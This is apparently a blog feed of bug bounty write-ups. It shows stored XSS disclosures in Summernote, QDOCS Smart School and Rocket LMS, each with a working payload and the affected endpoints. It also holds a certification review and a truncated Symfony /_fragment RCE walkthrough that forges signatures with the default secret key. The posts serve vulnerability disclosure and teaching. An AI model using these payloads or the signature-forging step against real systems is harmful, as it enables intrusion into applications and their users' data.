<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1718148386165/2e54830c-9de5-4a1c-81fc-034d0118b502.jpeg" alt class="image--center mx-auto" /></p>
<p>This led me to the <a target="_blank" href="https://summernote.org/">SummerNote</a> website, where they have implemented their WYSIWYG editor on the front page for visitors to demo its functionality. They also linked to the GitHub repo, allowing me to review the codebase if needed during my hacking attempts. My goal for the night was to find an XSS vulnerability in the editor.</p>
<p>Given my previous experience with other WYSIWYG editors, my first instinct was to test the <strong>Code View</strong> function of the editor. This function allows users to style their input using HTML elements. I decided to see how the WYSIWYG editor handled "malicious" input by providing the following XSS payload:</p>
<pre><code class="lang-php">&lt;details/open/ontoggle=prompt(origin)&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1718150871588/f462bb84-1fd6-4731-b579-86fb9e3d3262.png" alt class="image--center mx-auto" /></p>
<p>After I set my payload, I clicked on the <code>&lt;/&gt;</code> button to disable the Code View functionality to see if the editor processed and executed my payload. To my surprise, I received an alert box, confirming that the XSS payload and vector were valid!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1718151010720/20884bf3-392c-42ce-a034-8257d03ccd44.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1718150997995/eb4ca121-1079-4836-8c29-d8eff2f55589.webp" alt class="image--center mx-auto" /></p>
<p>Further investigation confirmed that this WYSIWYG editor is used in over 10,000 web applications, according to the technology analytics I found. This turned out to be my most significant CVE discovery to date. This serves as a lesson for new hackers: keeping exploitation and payload creation simple can be more effective than you might expect.</p>
<p>Until next time my fellow hackers!</p>
<p><a class="user-mention" href="https://hashnode.com/@grumpz">Sergio Medeiros</a></p>
]]></content:encoded></item><item><title><![CDATA[CVE-2024-34240: Latest Stored XSS 0day Vulnerability Unveiled]]></title><description><![CDATA[Late in the evening, I decided to explore some PHP applications focused on Student Information Systems, inspired by my recent success in finding systemic stored XSS vulnerabilities in a private bug bounty program. I visited my favorite source for PHP...]]></description><link>https://grumpz.net/cve-2024-34240-latest-stored-xss-0day-vulnerability-unveiled</link><guid isPermaLink="true">https://grumpz.net/cve-2024-34240-latest-stored-xss-0day-vulnerability-unveiled</guid><category><![CDATA[Bugs and Errors]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[hacking]]></category><category><![CDATA[PHP]]></category><category><![CDATA[XSS]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[Pentest]]></category><category><![CDATA[app development]]></category><category><![CDATA[Application Security]]></category><category><![CDATA[PHP7]]></category><category><![CDATA[php8]]></category><category><![CDATA[Security]]></category><category><![CDATA[security testing ]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Tue, 21 May 2024 04:58:43 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/2xEQDxB0ss4/upload/bf8c274870e15e3ff4d7870661825287.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Late in the evening, I decided to explore some PHP applications focused on Student Information Systems, inspired by my recent success in finding systemic stored XSS vulnerabilities in a private bug bounty program. I visited my favorite source for PHP-related applications, <a target="_blank" href="https://codecanyon.net/">https://codecanyon.net/</a>. This led me to <a target="_blank" href="https://smart-school.in/">QDOCS Smart School: School Management System</a>. I decided to check out the demo of their latest version, 7.0.0.</p>
<p>Usually, when I start looking for easy-to-find stored XSS "0days," I log in as the administrator. This gives me access to more features on both the front end and back end, allowing me to insert malicious input in various parts of the application. I quickly discovered that the web application was sanitizing special characters and specific HTML elements, which prevents XSS attacks.</p>
<p>However, further investigation revealed that the following endpoints are still vulnerable to my "go-to" XSS payload.</p>
<ul>
<li><pre><code class="lang-apache">  <span class="hljs-attribute">Endpoint</span>: POST /admin/feediscount/edit
  <span class="hljs-attribute">Parameter</span>: name

  <span class="hljs-attribute">Endpoint</span>: POST /admin/birthordeath/update_birth
  <span class="hljs-attribute">Parameters</span>: father_name
</code></pre>
</li>
</ul>
<p>I noticed that when I used the following XSS payload structure, I could bypass the existing protections. This allowed my malicious JavaScript code to be stored and executed successfully whenever a user visited any of the modified records associated with fee discounts and birth records.</p>
<pre><code class="lang-php">&lt;details/open/ontoggle=prompt(origin)&gt;
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716266833456/52b9cdaf-1ac4-42b4-9aed-257b1ca9c4b7.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716266864931/9946b920-3a92-4052-b854-d02b81709cc2.png" alt class="image--center mx-auto" /></p>
<p>And just like that, we found another stored XSS "0day" in just a few minutes!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1716267118108/3a9d27b4-6f43-4463-9117-88fa4a8d7851.gif" alt class="image--center mx-auto" /></p>
<p>I often feel repetitive when wrapping up these articles. I write them with the hope that newcomers to the bug bounty and cybersecurity industry will get excited and motivated to hunt for bugs themselves. I hope my content sparks a strong desire to become a successful bug bounty hunter and skilled hacker.</p>
<p>For those who need a little encouragement, I suggest diving into the concepts you love. This industry is an addiction for me, and I can't go a day without doing something related to hacking. Whether it's reading a technical CVE write-up, watching DEFCON videos, working on <a target="_blank" href="https://portswigger.net/web-security">PortSwigger Labs</a>, or hacking on bug bounty programs, there's always something to engage with.</p>
<p>If you have any questions or need some guidance, please feel free to reach out to me on Twitter via DM (<strong><em>@grumpzsux</em></strong>). I love helping newcomers in the industry.</p>
<p>Happy hacking my fellow nerds,<br />- GRuMPz aka <a class="user-mention" href="https://hashnode.com/@grumpz">Sergio Medeiros</a></p>
]]></content:encoded></item><item><title><![CDATA[CVE-2024-34241: A Step-by-Step Discovery Guide]]></title><description><![CDATA[It was late at night, and I was starting to burn out from hunting bugs in a few bug bounty programs I am active on. I still had that hacker itch I wanted to scratch, so I decided to look at a few web applications to see if I could find any easy "0day...]]></description><link>https://grumpz.net/cve-2024-34241-a-step-by-step-discovery-guide</link><guid isPermaLink="true">https://grumpz.net/cve-2024-34241-a-step-by-step-discovery-guide</guid><category><![CDATA[Bugs and Errors]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[hacking]]></category><category><![CDATA[coding]]></category><category><![CDATA[PHP]]></category><category><![CDATA[appsec]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[CVE]]></category><category><![CDATA[Web Development]]></category><category><![CDATA[webdev]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[Application Security]]></category><category><![CDATA[DevSecOps]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Fri, 17 May 2024 04:11:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/Ek9Znm8lQ1U/upload/b0cc6689257b96645be3da07e14156d8.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>It was late at night, and I was starting to burn out from hunting bugs in a few bug bounty programs I am active on. I still had that hacker itch I wanted to scratch, so I decided to look at a few web applications to see if I could find any easy "0days" to add a few more web-based CVEs to my resume.</p>
<p>My requirements are quite simple. To warm up, I usually look for PHP applications that are actively maintained, have a decent sales volume or user base, and are ideally open-source so I can access the source code. Additionally, I prefer applications with a low number of previous CVEs reported on older versions. I decided to check out the PHP applications sold on <a target="_blank" href="https://codecanyon.net/">https://codecanyon.net/</a>, a marketplace for developers selling various applications, plugins, and more.</p>
<p>I decided to search for popular PHP scripts because higher sales numbers usually indicate a decent user base. I found that <a target="_blank" href="https://lms.rocket-soft.org/">Rocket LMS</a>, a learning management system, had over 2,700 sales and 5-star reviews. I felt this would be an ideal target.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715916749968/5c919759-f067-4d9e-9754-7e463607341e.jpeg" alt class="image--center mx-auto" /></p>
<p>I decided to use the "instructor" user account, assuming it would offer additional functionality to explore. When I landed on the dashboard, I started testing the input fields with some simple payloads, and the application seemed to sanitize the user input very well. Eventually, I navigated to the Courses section, which allows me to create and edit new courses for my students. What intrigued me about this functionality was the use of a WYSIWYG editor in the Description section. Further research confirmed that the WYSIWYG editor implemented by RocketSoft is <a target="_blank" href="https://summernote.org">Summernote version 0.8.18</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715917342669/8e1eeb1b-68a5-4302-b3d2-f39eeebff698.png" alt class="image--center mx-auto" /></p>
<p>Given the history of various WYSIWYG editors suffering from consistent reflected cross-site scripting and stored cross-site scripting vulnerabilities, I felt this was a good opportunity to see what I could find. I decided to input a simple XSS payload and saved the record, but the payload did not execute and appeared to be properly sanitized.</p>
<p>Next, I saved the course record with random text in the Description section and intercepted the POST request using BurpSuite. I then modified the <strong>description</strong> parameter with my XSS payload and forwarded the request:</p>
<pre><code class="lang-javascript">&lt;details/open/ontoggle=prompt(origin)&gt;
</code></pre>
<p>I then navigated back to the course record and saw that the application had stored and executed our malicious payload. This immediately prompted the origin, confirming that we had DOM access. I realized that this simple "bypass" indicated a systemic issue throughout the entire application where the Summernote WYSIWYG editor is used.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715917772152/218a11c5-7fa3-4987-b927-18612670027e.png" alt class="image--center mx-auto" /></p>
<p>I sat there and asked myself if this had already been reported. A quick Google search showed it hadn't been. I guess it was my lucky day; I found a new CVE in 10 minutes.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715918176154/61718af7-afa2-4503-a347-c9412b98c4bb.jpeg" alt class="image--center mx-auto" /></p>
<p>I will end this write-up as I always do. You don't need to be a super hacker to find CVEs or bugs on bug bounty platforms. As long as you consistently practice exploiting different vulnerabilities, you'll train yourself to see things from a hacker's perspective. In my opinion, passion for hacking and thinking like a hacker are the key traits that separate the good from the great in this industry.</p>
<p>Until next time my fellow nerds,<br /><a class="user-mention" href="https://hashnode.com/@grumpz">Sergio Medeiros</a></p>
]]></content:encoded></item><item><title><![CDATA[Review of the Certified AppSec Pentester Certification: Tips for Passing on Your First Attempt]]></title><description><![CDATA[I was scrolling through LinkedIn and noticed a couple of hackers on my newsfeed posting that they passed the mock exam for the CAPen Certification by The SecOps Group. This caught my interest because I had never heard of the Certified AppSec Penteste...]]></description><link>https://grumpz.net/review-of-the-certified-appsec-pentester-certification-tips-for-passing-on-your-first-attempt</link><guid isPermaLink="true">https://grumpz.net/review-of-the-certified-appsec-pentester-certification-tips-for-passing-on-your-first-attempt</guid><category><![CDATA[bugbounty]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[hacking]]></category><category><![CDATA[Certification]]></category><category><![CDATA[Application Security]]></category><category><![CDATA[infosec]]></category><category><![CDATA[Bugs and Errors]]></category><category><![CDATA[#codenewbies]]></category><category><![CDATA[AWS]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[penetration testing]]></category><category><![CDATA[Security]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Wed, 08 May 2024 02:52:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1715130550445/9663de38-7c4b-4a33-8ef7-b9b9047d1ab2.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I was scrolling through LinkedIn and noticed a couple of hackers on my newsfeed posting that they passed the <a target="_blank" href="https://secops.group/free-mock-pentesting-exams/">mock exam</a> for the CAPen Certification by <a target="_blank" href="https://secops.group">The SecOps Group</a>. This caught my interest because I had never heard of the Certified AppSec Pentester before or knew that The SecOps Group was a certificate authority. While researching, <strong>I came across a coupon code that allowed me to buy the exam voucher for 80% OFF, totaling just $50, which also includes a free retake!</strong> I thought to myself, <em>"Why not? That's an unbeatable deal!"</em></p>
<p>I ended up purchasing an exam voucher and received an email confirming my order. The email mentioned that I would get my exam link and VPN configuration details within 2 business days. <strong>I was pleasantly surprised to receive the exam link and VPN configuration in less than 24 hours!</strong></p>
<p>I decided to begin the exam right after work because I couldn't resist using the exam voucher I had. Starting the exam was simple: log in, click the start exam button, and connect to the exam environment using openVPN. <strong>The whole process is fully automated.</strong></p>
<p>They provide you with slightly over 4 hours to answer 17 questions. Some are multiple choice, and some require you to submit flags, which is quite similar to the new eWPTv2 exam, as far as I know. Four hours is plenty of time to tackle the challenges. Once you finish, you simply click the finish button. You'll immediately find out if you passed or failed. If you passed, you receive your certification instantly. The whole process is entirely automated. The user experience is fantastic; I really enjoyed it.  </p>
<p>With that said, I am proud to announce that I am officially a Certified AppSec Pentester, CAPen Certified.</p>
<p>👉 Interested in taking a shot at the CAPen Certification Exam? Here's an 80% OFF voucher that you can use, which includes a free retake with no wait time!  </p>
<p>🎁 <strong>Coupon Code: <em>CAPen-80-OFF</em></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715131855693/19c07468-6a13-4e2a-be7a-641c02383246.jpeg" alt class="image--center mx-auto" /></p>
<h2 id="heading-tips-to-pass-the-capen-exam">👇 Tips to Pass the CAPen Exam 👇</h2>
<p>As mentioned before, you have a little over 4 hours to answer multiple-choice questions and submit flags covering different OWASP Top 10 vulnerability categories like XSS labs, SQLi labs, and XXE injection, among others. The SecOps Group concentrates on being a certificate authority, so they expect you to study the technical concepts on your own. However, they do offer a <a target="_blank" href="https://secops.group/product/certified-appsec-pentester/">syllabus for the CAPen exam</a> to guide your preparation.</p>
<p>However, I wanted to expand on this and provide more focused material to help anyone preparing for this certification, to improve your chances of passing on your first attempt!</p>
<p>You have my assurance that if you review the information below, you will be well-prepared. And here's the good news: if you don't pass, you can retake the exam immediately, and the best part is, you only paid $50 for it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715134435444/8ea065d2-7d38-49c6-b6a4-9dc784ad298a.jpeg" alt class="image--center mx-auto" /></p>
<h3 id="heading-1-recon-enumeration">1. Recon / Enumeration</h3>
<p>For recon and enumeration, if you feel ready for an intermediate-level certification, this should be quite straightforward for you. Nonetheless, I wanted to offer a few resources just in case.</p>
<ul>
<li><p><a target="_blank" href="https://www.hackerone.com/ethical-hacker/how-recon-and-content-discovery">https://www.hackerone.com/ethical-hacker/how-recon-and-content-discovery</a></p>
</li>
<li><p><a target="_blank" href="https://appsecexplained.gitbook.io/appsecexplained/enumeration/content-discovery-recon">https://appsecexplained.gitbook.io/appsecexplained/enumeration/content-discovery-recon</a></p>
</li>
<li><p><a target="_blank" href="https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/">https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/</a></p>
</li>
</ul>
<h3 id="heading-2-cross-site-scripting-xss">2. Cross Site Scripting (XSS)</h3>
<p>For cross-site scripting, remember that CAPen is an intermediate certification. While you don't need to be an expert, you should be able to recognize various XSS contexts and know how to create payloads when there is sanitization, encoding, or filtration.</p>
<p>I recommend checking out the following links to make sure you understand these concepts. Then, practice hands-on by using the <a target="_blank" href="https://portswigger.net/web-security">Portswigger Web Academy</a> labs mentioned below.</p>
<ul>
<li><p><a target="_blank" href="https://github.com/Edr4/XSS-Bypass-Filters">https://github.com/Edr4/XSS-Bypass-Filters</a></p>
</li>
<li><p><a target="_blank" href="https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/">https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/cross-site-scripting/contexts">https://portswigger.net/web-security/cross-site-scripting/contexts</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded">https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped">https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked">https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked</a></p>
</li>
</ul>
<h3 id="heading-3-cross-site-request-forgery-csrf">3. Cross Site Request Forgery (CSRF)</h3>
<p>For this category, understanding how to attack and PREVENT CSRF attacks will greatly benefit you when actively testing in the exam environment.</p>
<p>I recommend reviewing the following links to ensure you are familiar with these topics, and then practice hands-on using the <a target="_blank" href="https://portswigger.net/web-security">Portswigger Web Academy</a> labs mentioned below.</p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/csrf#how-does-csrf-work">https://portswigger.net/web-security/csrf#how-does-csrf-work</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/csrf/preventing">https://portswigger.net/web-security/csrf/preventing</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/csrf/lab-no-defenses">https://portswigger.net/web-security/csrf/lab-no-defenses</a></p>
</li>
</ul>
<h3 id="heading-4-insecure-file-uploads">4. Insecure File Uploads</h3>
<p>For this vulnerability, although there are various ways to exploit it, I recommend keeping it simple and not overthinking it.</p>
<p>I suggest reviewing the following links to make sure you understand these topics, and then practicing hands-on with the <a target="_blank" href="https://portswigger.net/web-security">Portswigger Web Academy</a> labs mentioned above.</p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/file-upload#exploiting-unrestricted-file-uploads-to-deploy-a-web-shell">https://portswigger.net/web-security/file-upload#exploiting-unrestricted-file-uploads-to-deploy-a-web-shell</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal">https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass">https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/file-upload#how-do-web-servers-handle-requests-for-static-files">https://portswigger.net/web-security/file-upload#how-do-web-servers-handle-requests-for-static-files</a></p>
</li>
</ul>
<h3 id="heading-5-cloud-misconfigurations">5. Cloud Misconfigurations</h3>
<p>For "cloud misconfigurations," please don't be intimidated by the term. The SecOps Team has additional certifications for cloud-based pentesting. However, you should understand how to exploit common misconfigurations and security flaws in popular cloud services like S3 buckets.</p>
<p>I recommend checking out the following links to make sure you understand these topics. Then, practice hands-on with the <a target="_blank" href="http://flaws.cloud/">flAWS Cloud</a> and <a target="_blank" href="http://flaws2.cloud/">flAWS2 Cloud</a> labs mentioned below.</p>
<ul>
<li><p><a target="_blank" href="https://github.com/pop3ret/AWSome-Pentesting/blob/main/AWSome-Pentesting-Cheatsheet.md">https://github.com/pop3ret/AWSome-Pentesting/blob/main/AWSome-Pentesting-Cheatsheet.md</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/Rajchowdhury420/OSCP-CheatSheet/blob/main/S3%20Bucket%20Misconfiguration%20From%20Basics%20to%20Pawn.pdf">https://github.com/Rajchowdhury420/OSCP-CheatSheet/blob/main/S3%20Bucket%20Misconfiguration%20From%20Basics%20to%20Pawn.pdf</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/Lifka/hacking-resources/blob/main/cloud-hacking-cheat-sheets.md">https://github.com/Lifka/hacking-resources/blob/main/cloud-hacking-cheat-sheets.md</a></p>
</li>
<li><p><a target="_blank" href="http://flaws.cloud/">http://flaws.cloud/</a></p>
</li>
<li><p><a target="_blank" href="http://flaws.cloud/">http://flaws2.cloud/</a></p>
</li>
</ul>
<h3 id="heading-6-access-control-authorizationauthentication">6. Access Control (authorization/authentication)</h3>
<p>For access control-related vulnerabilities, I recommend learning about common password reset flaws and insecure direct object references.</p>
<p>I suggest reviewing the following links to make sure you understand these topics, and then practice hands-on using the <a target="_blank" href="https://portswigger.net/web-security">Portswigger Web Academy</a> labs mentioned below.</p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/access-control#parameter-based-access-control-methods">https://portswigger.net/web-security/access-control#parameter-based-access-control-methods</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/access-control/lab-user-role-controlled-by-request-parameter">https://portswigger.net/web-security/access-control/lab-user-role-controlled-by-request-parameter</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile">https://portswigger.net/web-security/access-control/lab-user-role-can-be-modified-in-user-profile</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/authentication/other-mechanisms#resetting-user-passwords">https://portswigger.net/web-security/authentication/other-mechanisms#resetting-user-passwords</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/authentication#how-do-authentication-vulnerabilities-arise">https://portswigger.net/web-security/authentication#how-do-authentication-vulnerabilities-arise</a></p>
</li>
</ul>
<h3 id="heading-7-sql-injection">7. SQL Injection</h3>
<p>For SQL Injection, I recommend understanding how to test for SQL injection manually and then using the SQLmap tool to simplify your work. While the exam might require more detail on various SQLi contexts, the solutions are quite straightforward for an intermediate certification level. Remember, a <code>'</code> can go a long way!</p>
<p>I suggest reviewing the following links to ensure you are comfortable with these topics, and then practice hands-on by using the <a target="_blank" href="https://portswigger.net/web-security">Portswigger Web Academy</a> labs mentioned below.</p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/sql-injection#how-to-detect-sql-injection-vulnerabilities">https://portswigger.net/web-security/sql-injection#how-to-detect-sql-injection-vulnerabilities</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/sql-injection/blind/lab-time-delays">https://portswigger.net/web-security/sql-injection/blind/lab-time-delays</a></p>
</li>
<li><p><a target="_blank" href="https://gist.github.com/jkullick/03b98b1e44f03986c5d1fc69c092220d">https://gist.github.com/jkullick/03b98b1e44f03986c5d1fc69c092220d</a></p>
</li>
</ul>
<h3 id="heading-8-xml-external-entity-injection-xxe">8. XML External Entity Injection (XXE)</h3>
<p>For XXE Injections, I believe the solution is quite straightforward, although it could delve deeper into different contexts and types of XXEs that can be exploited. Nonetheless, the solution is pretty simple.</p>
<p>I recommend checking out the following links to make sure you understand these topics well, and then practice hands-on by using the <a target="_blank" href="https://portswigger.net/web-security">Portswigger Web Academy</a> labs mentioned below.</p>
<ul>
<li><p><a target="_blank" href="https://portswigger.net/web-security/xxe#how-to-find-and-test-for-xxe-vulnerabilities">https://portswigger.net/web-security/xxe#how-to-find-and-test-for-xxe-vulnerabilities</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files">https://portswigger.net/web-security/xxe#exploiting-xxe-to-retrieve-files</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files">https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files</a></p>
</li>
<li><p><a target="_blank" href="https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf">https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-perform-ssrf</a></p>
</li>
</ul>
<h2 id="heading-final-thoughts">🧠 Final Thoughts 🧠</h2>
<p>All in all, the <a target="_blank" href="https://secops.group/product/certified-appsec-pentester/">Certified AppSec Pentester (CAPen)</a> certification was enjoyable, and the attack scenarios are quite realistic. However, I believe that some of the vulnerability categories might be a bit too simple for a mid-tier certification, especially when creating effective payloads, and could be more challenging. Nevertheless, the exam setup is robust, the on-demand experience was excellent, and <strong>I highly recommend taking this certification if you want to validate your skills as a web application penetration tester. It's a great step towards reaching the expert level</strong>. I would compare it to the eWPTv2 exam but with more variety, and you can get it for $50 using the coupon code below. That's a deal that's hard to pass up.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1715136003761/3ed9ea0d-b27a-4321-bd14-08dc7e1c4e96.jpeg" alt class="image--center mx-auto" /></p>
<p>👉 Interested in taking a shot at the CAPen Certification Exam? Here's an 80% OFF voucher that you can use, including a free retake with no wait time:  </p>
<p>🎁 <strong>Coupon Code: <em>CAPen-80-OFF</em></strong></p>
<p>If you have any questions, feel free to ask me. Just send me a direct message on Twitter at <a target="_blank" href="https://twitter.com/grumpzsux">twitter.com/grumpzsux</a>.</p>
<p>Until next time my fellow nerds. <a class="user-mention" href="https://hashnode.com/@grumpz">Sergio Medeiros</a></p>
]]></content:encoded></item><item><title><![CDATA[Finding a Basic RCE Vulnerability on a Prominent News Channel]]></title><description><![CDATA[Usually, when newcomers approach me in the bug bounty field, they often ask about the tools, methods, and any other "secret sauce" I use when searching for vulnerabilities in bug bounty programs. I'm sure many of them might feel I sound arrogant or c...]]></description><link>https://grumpz.net/finding-a-basic-rce-vulnerability-on-a-prominent-news-channel</link><guid isPermaLink="true">https://grumpz.net/finding-a-basic-rce-vulnerability-on-a-prominent-news-channel</guid><category><![CDATA[hacking]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[bugbountytips]]></category><category><![CDATA[hacking tutorial]]></category><category><![CDATA[RCE]]></category><category><![CDATA[Symfony]]></category><category><![CDATA[information security]]></category><category><![CDATA[CyberSec]]></category><category><![CDATA[infosec]]></category><category><![CDATA[bug bounty]]></category><category><![CDATA[Bugs and Errors]]></category><dc:creator><![CDATA[Sergio Medeiros]]></dc:creator><pubDate>Sat, 04 May 2024 19:51:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/9SoCnyQmkzI/upload/0d9a39a3d555cae80041d2dac5925941.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Usually, when newcomers approach me in the bug bounty field, they often ask about the tools, methods, and any other "secret sauce" I use when searching for vulnerabilities in bug bounty programs. I'm sure many of them might feel I sound arrogant or condescending when I reply, "Concentrate on recon, and search on Google for things you don't get." This discovery truly confirms this idea.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714848000586/f8becad2-1fa3-41fb-9b8c-e7b8acd18769.jpeg" alt class="image--center mx-auto" /></p>
<p>I decided to take a look at a private program late last night, but wanted to just casually look. I set my scope in BurpSuite to the primary FQDN that was in-scope at the time, and decided to manually "walk the app", and passively collect requests in BurpSuite. Going back to BurpSuite, I noticed that one of the requests hit on a BCheck Template that I had <em>(more on this in another article)</em> which showed that the application had <strong>Symfony Debug Mode</strong> enabled, and the <strong>/_profiler</strong> endpoint was accessible publicly. I decided to navigate to the URL in browser to see what information was available to help me finding something impactful to report.</p>
<pre><code class="lang-yaml"><span class="hljs-string">https://redacted.com/_profiler</span>
</code></pre>
<p>I found this interesting and decided to search on Google to learn more about Symfony and any known vulnerabilities. I wasn't looking for information disclosures. I discovered that Symfony is a free and open-source PHP framework that makes web development faster and easier. There is a known Remote Code Execution vulnerability on the <strong>/_fragment</strong> endpoint. In my research, I found out that Symfony has a built-in feature called <strong>/_fragment</strong> which allows clients to input custom PHP commands and receive HTML output. It secures requests with a secret key to prevent misuse. However, if the secret key is weak or leaked, it could lead to Remote Code Execution. This means that anyone with the <strong>/_fragment</strong> secret key can run PHP code on the server, potentially causing Remote Code Execution.</p>
<p>Armed with this information, I proceeded to navigate to the URL in my browser to see what happens.</p>
<pre><code class="lang-yaml"><span class="hljs-string">https://redacted.com/_fragment</span>
</code></pre>
<p>However, when I attempted to access this endpoint, I encountered an <strong>Access Denied</strong> error. This prompted me to investigate further to determine my next steps. I discovered that the <strong>/_fragment</strong> endpoint responds with a <strong>403 Forbidden</strong> status code when an invalid request is made to it. However, if a valid signature is provided, the endpoint is expected to return a <strong>404 Not Found</strong> status code. The signature is created using the HMAC algorithm and plain text, which includes the URL and a secret key. This secret key is only known to the server. If the signature doesn't match the expected value, the request is denied.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714848930911/a46e5784-21de-4089-8975-760c2580c536.webp" alt class="image--center mx-auto" /></p>
<p>Well, that's great, but how can I obtain the secret key to sign requests for accessing this endpoint and proceed with my investigation? Many individuals tend to give up too easily and are "inches from gold." This means that if they exerted a little more effort, they would discover the success they seek in this field.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714849112976/45b55fb9-6a08-4cd1-b831-8a8b8d361b0a.jpeg" alt class="image--center mx-auto" /></p>
<p>After further research (Googling), I discovered that Symfony utilizes a default secret key. If this key hasn't been altered, it should provide the desired outcomes. This secret key might be exposed in different places, such as <code>phpinfo()</code>. Considering time constraints, I assumed it was still in use. The default secret key for Symfony is: "<strong>ThisTokenIsNotSoSecretChangeIt</strong>".</p>
<p>Armed with this information, I used PHP to generate a valid signature with the default secret key to test my luck for the night. The code creates an HMAC signature for the provided URL/Endpoint, secret key, and algorithm. It then encodes the signature using base64 and URL encoding. The resulting output is utilized to send requests to the <strong>/_fragment</strong> endpoint.</p>
<pre><code class="lang-php">php -r <span class="hljs-string">"echo(urlencode(base64_encode(hash_hmac('sha256', 'https://redacted.com/_fragment', 'ThisTokenIsNotSoSecretChangeIt', 1))) . PHP_EOL);"</span>
</code></pre>
<p>As seen in the screenshot below, we have generated a hash that we can use to check its validity.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1714850049237/cc59c487-3aa2-4486-b43d-3bc3de0ad51b.png" alt class="image--center mx-auto" /></p>
<p>In order to check the validity of the hash that I just generated, I needed to send a request to the <strong>/_fragment</strong> endpoint, and append my outputted hash to the <code>_hash</code> parameter, and issue the GET request.</p>
